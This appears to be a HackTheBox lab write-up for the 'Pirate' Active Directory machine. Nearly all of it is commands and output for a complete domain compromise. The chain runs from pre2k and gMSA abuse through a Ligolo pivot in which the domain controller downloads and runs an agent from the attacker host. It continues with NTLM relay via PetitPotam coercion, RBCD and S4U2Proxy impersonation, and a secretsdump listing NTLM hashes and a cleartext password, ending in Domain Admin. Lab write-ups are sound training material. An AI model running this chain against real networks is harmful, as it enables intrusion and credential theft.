HackTheBox · Lab
HardWindowsActive DirectoryPrivilege EscalationLateral MovementKerberosPassword AttacksNetwork

IP: 10.129.2.154 | Domain: pirate.htb


Environment Setup

export IP=10.129.2.154
export VPN=10.10.14.214
echo "10.129.2.154 DC01.pirate.htb DC01 pirate.htb" >> /etc/hosts

Step 1 — Port Scanning

Why: Before doing anything, we need to map the attack surface. Open ports and services tell us what attack angles are available.

nmap -sCV -p- --min-rate 5000 $IP -oN scans/nmap_pirate.out

Output:

PORT      STATE SERVICE
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  ssl/ldap      Domain: pirate.htb
3268/tcp  open  ldap          Global Catalog
3269/tcp  open  ssl/ldap
5985/tcp  open  http          WinRM
9389/tcp  open  mc-nmf
Clock skew: +7h00m00s
SMB signing: enabled and required

Key findings:

  • Confirmed Domain Controller (DC01.pirate.htb) — Kerberos (88), LDAP (389/636/3268), kpasswd (464), DNS (53)
  • Clock skew: +7h — all Kerberos operations require faketime -f '+7h'
  • SMB signing: required on DC01 — NTLM relay directly to DC01 SMB is blocked
  • LDAP signing: None — relay to LDAP is possible
  • WinRM (5985) open — useful if we obtain valid credentials
  • Port 443 — could be ADCS or ADFS, worth investigating

Step 2 — Domain User Enumeration

Why: With working credentials we want to map out who exists in the domain. Users — especially admin accounts and service accounts — are our primary targets for privilege escalation.

faketime -f '+7h' nxc smb $IP -u pentest -p 'p3nt3st2025!&' --users

Output:

Administrator    — Built-in admin
Guest            — Disabled
krbtgt           — KDC service account
a.white_adm      — Admin account (_adm suffix = elevated privileges)
a.white          — Regular domain user
pentest          — Our starting account
j.sparrow        — Regular domain user

Key findings:

  • a.white / a.white_adm — classic admin account pair. _adm suffix suggests elevated privileges
  • j.sparrow — likely holds the user flag
  • Only 7 users — small domain focused on AD misconfigurations, not password spraying

Step 3 — Computer Account Enumeration

Why: Computer accounts can be just as interesting as user accounts. Machines with delegation, gMSA accounts, or pre-2k compatibility are all common attack paths.

faketime -f '+7h' nxc ldap $IP -u pentest -p 'p3nt3st2025!&' --computers

Output:

DC01$            — Domain Controller
WEB01$           — Web server (IIS likely)
MS01$            — Unknown role
EXCH01$          — Exchange server (naming convention)
gMSA_ADCS_prod$  — Group Managed Service Account (ADCS)
gMSA_ADFS_prod$  — Group Managed Service Account (ADFS)

Key findings:

  • gMSA_ADCS_prod$ and gMSA_ADFS_prod$ — passwords auto-managed by AD, readable only by specific principals via LDAP
  • WEB01$ — likely on an internal subnet not reachable from our VPN
  • MS01$ and EXCH01$ — no external DNS records, likely internal only

Step 4 — Pre-Windows 2000 Compatibility Check

Why: The Pre-Windows 2000 Compatible Access group allows Authenticated Users to read certain sensitive attributes — including passwords of computer accounts created with pre-2k compatibility. These accounts use their own lowercase machine name as password, making them trivially exploitable. Free TGT if it exists.

faketime -f '+7h' nxc ldap $IP -u pentest -p 'p3nt3st2025!&' -M pre2k

Output:

Pre-created computer account: MS01$
Pre-created computer account: EXCH01$
[+] Successfully obtained TGT for ms01@pirate.htb
[+] Successfully obtained TGT for exch01@pirate.htb
Saved to: /home/nrg/.nxc/modules/pre2k/ccache/

Key findings:

  • MS01$ and EXCH01$ were created with Pre-2k compatibility — passwords are simply ms01 / exch01
  • We now have valid Kerberos TGTs for both machine accounts
  • These TGTs let us authenticate AS these machine accounts to domain services

Step 5 — gMSA Password Retrieval

Why: gMSA passwords are readable by specific principals via LDAP. If MS01$ is in the PrincipalsAllowedToReadPassword group for either gMSA, we get their NTLM hash and can authenticate as them.

export KRB5CCNAME=/home/nrg/.nxc/modules/pre2k/ccache/ms01.ccache
faketime -f '+7h' nxc ldap $IP -k --use-kcache --gmsa

Output:

[+] PIRATE.HTB\ms01 from ccache
gMSA_ADCS_prod$  NTLM: <REDACTED>  PrincipalsAllowedToReadPassword: Domain Secure Servers
gMSA_ADFS_prod$  NTLM: <REDACTED>  PrincipalsAllowedToReadPassword: Domain Secure Servers

Key findings:

  • MS01$ is a member of Domain Secure Servers — the group with read access to both gMSA hashes
  • NTLM hash = functional equivalent of a password — no cracking needed (Pass-the-Hash)
  • Attack chain: pentest → pre2k → MS01$ TGT → gMSA hash

Step 6 — Verify gMSA WinRM Access

Why: WinRM (5985) is open on DC01. If gMSA_ADCS_prod$ is in Remote Management Users, we get a shell on the DC immediately.

faketime -f '+7h' nxc winrm $IP -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH>

Output:

[+] pirate.htb\gMSA_ADCS_prod$:<REDACTED> (Pwn3d!)

Key findings:

  • gMSA_ADCS_prod$ has WinRM access on DC01 — shell on the Domain Controller
  • This is a service account, not Domain Admin — but enough to deploy Ligolo and pivot

Step 7 — Internal Network Discovery

Why: WEB01$ has no external DNS record — it lives on an internal subnet. We need to find its IP before we can attack it.

faketime -f '+7h' evil-winrm -i DC01.pirate.htb -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH>
# Then: ipconfig /all

Output:

vEthernet (Switch01):  192.168.100.1/24  ← Internal Hyper-V network
Ethernet0 2:           10.129.2.154      ← External (VPN-facing)

Key findings:

  • DC01 is dual-homed — one external, one internal interface
  • WEB01 lives at 192.168.100.2 (next available IP in /24)
  • We need to pivot through DC01 to reach WEB01

Step 8 — Ligolo-ng Pivot Setup

Why: Ligolo-ng creates a TUN interface on our attack machine that routes 192.168.100.0/24 traffic transparently through DC01. No proxychains needed — all tools work natively.

# Terminal 1 — Start Ligolo proxy (as root for TUN permissions)
cd ~/ligolo/client
sudo ./proxy -selfcert

# Terminal 2 — Serve agent via HTTP
cd ~/ligolo/agent
python3 -m http.server 8080
# In evil-winrm on DC01 — download and run agent
(New-Object Net.WebClient).DownloadFile("http://10.10.14.215:8080/agent-win.exe","C:\Windows\Temp\agent.exe")
C:\Windows\Temp\agent.exe -connect 10.10.14.215:11601 -ignore-cert
# In Ligolo proxy — configure tunnel once agent connects
session
autoroute  # Select 192.168.100.0/24 → create interface → start

# Verify
ping 192.168.100.2

Output:

[+] Agent joined: PIRATE\gMSA_ADCS_prod$@DC01
Tunnel interface: internalcalisso
Routing: 192.168.100.0/24 → DC01

Note: faketime cannot wrap Python venv binaries or sudo-required binaries — proxy must be run as root directly.


Step 9 — WEB01 Enumeration

Why: With the pivot in place, WEB01 is our next target. SMB signing status is the critical finding — if disabled, we can relay NTLM auth.

nmap -sCV --min-rate 5000 192.168.100.2

Output:

80/tcp   open  http     Microsoft IIS httpd 10.0
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
808/tcp  open  mc-nmf   .NET Message Framing
1500/tcp open  mc-nmf   .NET Message Framing
1501/tcp open  mc-nmf   .NET Message Framing
5985/tcp open  http     WinRM
SMB signing: enabled but NOT required  ← CRITICAL
Clock skew: +7h

Key findings:

  • SMB signing NOT required — unlike DC01, WEB01 doesn't enforce signing — NTLM relay is possible
  • WinRM (5985) open — shell access if we get valid creds
  • Ports 808/1500/1501 (.NET Message Framing) — WCF / ADFS services

Step 10 — NTLM Relay via Coercion → LDAP Shell

Why: WEB01 has SMB signing disabled. We coerce WEB01 to authenticate to us, then relay that auth to DC01's LDAP (signing:None). This gives us an interactive LDAP shell running in WEB01$'s context on DC01.

# Terminal 1 — Start ntlmrelayx targeting DC01 LDAP
impacket-ntlmrelayx -t ldap://$IP --remove-mic -smb2support -i

# Terminal 2 — Coerce WEB01 to authenticate to us
faketime -f '+7h' nxc smb 192.168.100.2 -u 'gMSA_ADCS_prod$' -H <REDACTED_HASH> -M coerce_plus -o LISTENER=$VPN

# Terminal 3 — Connect to interactive LDAP shell once relay succeeds
nc 127.0.0.1 11000

Output:

COERCE_PLUS  WEB01  VULNERABLE, PetitPotam
COERCE_PLUS  WEB01  Exploit Success, efsrpc\EfsRpcAddUsersToFile
COERCE_PLUS  WEB01  VULNERABLE, PrinterBug
COERCE_PLUS  WEB01  VULNERABLE, MSEven
[*] LDAP relay successful → interactive shell on 127.0.0.1:11000
# Type help for list of commands

Key findings:

  • EfsRpcAddUsersToFile coercion succeeded — WEB01 authenticated to us
  • LDAP relay to DC01 succeeded (signing:None confirmed)
  • We have an interactive LDAP shell as WEB01$ on DC01

Step 11 — RBCD via LDAP Shell

Why: From the LDAP shell we can set Resource-Based Constrained Delegation. We create a fake computer account (FAKE01$) and set msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$ to point to FAKE01$. This allows FAKE01$ to impersonate any user against WEB01's services via S4U2Proxy.

# In LDAP shell
start_tls
add_computer FAKE01 'Password123!'
set_rbcd WEB01$ FAKE01$

Output:

StartTLS succeeded, now using LDAPS!
Adding new computer: FAKE01$ → Result: OK
Delegation rights modified successfully!
FAKE01$ can now impersonate users on WEB01$ via S4U2Proxy

Key findings:

  • FAKE01$ created (MachineAccountQuota allows any auth user to create 10 computer accounts)
  • msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$ now points to FAKE01$
  • FAKE01$ can now impersonate Administrator (or any user) for services on WEB01

Step 12 — S4U2Proxy → SYSTEM on WEB01

Why: With RBCD set, we use S4U2Self (FAKE01$ impersonates Administrator) + S4U2Proxy (get a cifs/WEB01 ticket as Administrator) → PSExec → SYSTEM.

faketime -f '+7h' impacket-getST pirate.htb/'FAKE01$':'Password123!' \
  -spn cifs/WEB01.pirate.htb \
  -impersonate Administrator \
  -dc-ip $IP

export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
faketime -f '+7h' impacket-psexec -k -no-pass Administrator@WEB01.pirate.htb -target-ip 192.168.100.2

Output:

[*] S4U2self → S4U2Proxy complete
[*] Found writable share ADMIN$
C:\WINDOWS\system32> whoami
nt authority\system
hostname: WEB01

Step 13 — Credential Dumping from WEB01

Why: As SYSTEM on WEB01 we dump LSA Secrets and cached credentials. LSA Secrets often contain plaintext passwords for services configured with auto-logon.

faketime -f '+7h' impacket-secretsdump -k -no-pass Administrator@WEB01.pirate.htb -target-ip 192.168.100.2

Output:

[SAM]
Administrator  NTLM: b1aac1584c2ea8ed0a9429684e4fc3e5

[Cached DCC2]
PIRATE.HTB/Administrator
PIRATE.HTB/gMSA_ADFS_prod$
PIRATE.HTB/a.white

[LSA Secrets - DefaultPassword]
PIRATE\a.white : E2nvAOKSz5Xz2MJu  ← CLEARTEXT

[LSA Secrets - Machine]
PIRATE\WEB01$  NTLM: feba09cf0013fbf5834f50def734bca9

Key findings:

  • DefaultPassword LSA secret = a.white's plaintext password — stored because WEB01 was configured for Auto-Logon
  • DCC2 hashes require offline cracking — not immediately useful
  • Next: a.white → a.white_adm via ACL abuse

Step 14 — ForceChangePassword: a.white → a.white_adm

Why: a.white has ForceChangePassword over a.white_adm. This RPC call (setuserinfo2 level 23) resets the password without knowing the current one. Empty output = success in Windows.

faketime -f '+7h' rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' $IP \
  -c 'setuserinfo2 a.white_adm 23 NewPassword123!'

# Verify
faketime -f '+7h' nxc smb $IP -u a.white_adm -p 'NewPassword123!'

Output:

rpcclient → (empty = SUCCESS)
[+] pirate.htb\a.white_adm:NewPassword123! ← confirmed

Key findings:

  • a.white has ForceChangePassword over a.white_adm — password changed without the old one
  • a.white_adm has Constrained Delegation with Protocol Transition for HTTP/WEB01.pirate.htb
  • IT group (a.white_adm is a member) has WriteSPN on DC01$

Step 15 — WriteSPN + KCD Protocol Transition → Domain Admin

Why: Three-part final escalation:

Part A — Move the SPN: a.white_adm's delegation is for HTTP/WEB01.pirate.htb. We move this SPN from WEB01$ to DC01$ using WriteSPN rights (IT group on DC01$). This makes DC01 the target of the delegation.

Part B — Protocol Transition: getST uses S4U2Self to get a forwardable ticket impersonating Administrator WITHOUT needing their password.

Part C — altservice: We swap the SPN in the ticket from HTTP/WEB01 to cifs/DC01 using -altservice. The KDC allows this because the encryption keys are the same. Result: a valid cifs/DC01 ticket as Administrator.

# Step 1 — Remove HTTP SPNs from WEB01$
cat > /tmp/del_spn.ldif << 'EOF'
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
-
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
EOF
faketime -f '+7h' ldapmodify -x -H ldap://$IP -D "a.white_adm@pirate.htb" -w 'NewPassword123!' -f /tmp/del_spn.ldif

# Step 2 — Add HTTP/WEB01.pirate.htb to DC01$
# bloodyAD must be called via python3 directly (faketime can't wrap venv binaries)
/home/tools/.venv-bloodyad/bin/python3 /home/tools/.venv-bloodyad/bin/bloodyAD \
  -d pirate.htb -u a.white_adm -p 'NewPassword123!' --host $IP \
  set object 'DC01$' servicePrincipalName -v 'HTTP/WEB01.pirate.htb' --raw

# Step 3 — S4U2Proxy with altservice → cifs/DC01
faketime -f '+7h' impacket-getST pirate.htb/'a.white_adm':'NewPassword123!' \
  -spn 'HTTP/WEB01.pirate.htb' \
  -impersonate Administrator \
  -dc-ip $IP \
  -altservice 'cifs/DC01.pirate.htb'

# Step 4 — PSExec as Domain Admin
export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
faketime -f '+7h' impacket-psexec -k -no-pass Administrator@DC01.pirate.htb

Output:

ldapmodify → modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb" ✓
bloodyAD → [+] DC01$'s servicePrincipalName has been updated ✓

[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

[*] Found writable share ADMIN$
C:\Windows\system32> whoami
nt authority\system
hostname: DC01

🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED


Full Attack Chain

pentest creds
  └─ pre2k → MS01$ TGT
        └─ gMSA hash retrieval (Domain Secure Servers)
              └─ gMSA_ADCS_prod$ → WinRM on DC01
                    └─ Ligolo-ng pivot → 192.168.100.0/24
                          └─ NTLM relay (coerce WEB01 → DC01 LDAP)
                                └─ RBCD (FAKE01$ → WEB01$)
                                      └─ S4U2Proxy → SYSTEM on WEB01
                                            └─ secretsdump → a.white plaintext
                                                  └─ ForceChangePassword → a.white_adm
                                                        └─ WriteSPN (HTTP/WEB01 → DC01$)
                                                              └─ KCD Protocol Transition + altservice
                                                                    └─ cifs/DC01 as Administrator
                                                                          └─ PSExec → SYSTEM on DC01
                                                                                🏴 DOMAIN ADMIN

© 0xNRG — Pirate pwned — 2026-03-07

Writeup restricted

This machine is currently active. The full writeup will be published automatically once the box retires, in accordance with HTB's NDA policy.

Status — Active